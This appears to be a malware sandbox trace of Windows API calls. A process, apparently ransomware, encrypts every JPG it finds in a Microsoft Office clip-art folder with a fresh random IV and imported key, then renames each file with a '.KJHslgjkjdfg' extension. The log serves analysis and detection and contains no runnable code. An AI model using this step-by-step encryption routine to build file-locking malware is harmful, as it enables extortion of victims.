[0213.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.809] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.810] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.810] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.810] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.810] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14f8a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14f8a, lpOverlapped=0x0) returned 1 [0213.814] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14f90, dwBufLen=0x14f90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14f90) returned 1 [0213.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.815] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14f90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14f90, lpOverlapped=0x0) returned 1 [0213.816] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.816] SetEndOfFile (hFile=0x130) returned 1 [0213.819] GetProcessHeap () returned 0x2ef0000 [0213.819] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.819] GetProcessHeap () returned 0x2ef0000 [0213.819] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.kjhslgjkjdfg")) returned 1 [0213.821] CloseHandle (hObject=0x130) returned 1 [0213.821] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382960.JPG", cAlternateFileName="")) returned 1 [0213.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.823] GetProcessHeap () returned 0x2ef0000 [0213.823] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.823] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0213.826] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.826] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.826] GetProcessHeap () returned 0x2ef0000 [0213.827] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.827] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.827] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.827] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.827] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.827] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.827] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.827] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.827] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.827] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.827] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a3f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a3f4, lpOverlapped=0x0) returned 1 [0213.830] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a400, dwBufLen=0x1a400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a400) returned 1 [0213.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.831] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a400, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a400, lpOverlapped=0x0) returned 1 [0213.831] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.832] SetEndOfFile (hFile=0x130) returned 1 [0213.835] GetProcessHeap () returned 0x2ef0000 [0213.835] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.835] GetProcessHeap () returned 0x2ef0000 [0213.835] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.kjhslgjkjdfg")) returned 1 [0213.836] CloseHandle (hObject=0x130) returned 1 [0213.836] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18ac4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382961.JPG", cAlternateFileName="")) returned 1 [0213.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.838] GetProcessHeap () returned 0x2ef0000 [0213.838] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.838] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.838] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0213.840] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.840] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.840] GetProcessHeap () returned 0x2ef0000 [0213.840] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.840] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.840] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.840] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.840] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.840] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.840] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.841] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.841] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.841] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.841] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x18ac4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x18ac4, lpOverlapped=0x0) returned 1 [0213.843] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18ad0, dwBufLen=0x18ad0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18ad0) returned 1 [0213.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.844] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x18ad0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x18ad0, lpOverlapped=0x0) returned 1 [0213.844] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.845] SetEndOfFile (hFile=0x130) returned 1 [0213.846] GetProcessHeap () returned 0x2ef0000 [0213.846] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.846] GetProcessHeap () returned 0x2ef0000 [0213.846] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.kjhslgjkjdfg")) returned 1 [0213.847] CloseHandle (hObject=0x130) returned 1 [0213.847] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bef7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382962.JPG", cAlternateFileName="")) returned 1 [0213.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.848] GetProcessHeap () returned 0x2ef0000 [0213.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.849] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.849] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0213.852] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.852] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.853] GetProcessHeap () returned 0x2ef0000 [0213.853] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.853] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.853] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.853] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.854] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.854] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.854] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.854] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bef7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1bef7, lpOverlapped=0x0) returned 1 [0213.857] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bf00, dwBufLen=0x1bf00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bf00) returned 1 [0213.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.858] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1bf00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1bf00, lpOverlapped=0x0) returned 1 [0213.859] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.859] SetEndOfFile (hFile=0x130) returned 1 [0213.862] GetProcessHeap () returned 0x2ef0000 [0213.862] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.862] GetProcessHeap () returned 0x2ef0000 [0213.862] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.kjhslgjkjdfg")) returned 1 [0213.867] CloseHandle (hObject=0x130) returned 1 [0213.867] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17dee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382963.JPG", cAlternateFileName="")) returned 1 [0213.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.868] GetProcessHeap () returned 0x2ef0000 [0213.868] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.868] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.868] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0213.871] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.871] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.871] GetProcessHeap () returned 0x2ef0000 [0213.871] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.871] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.871] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.871] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.872] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, 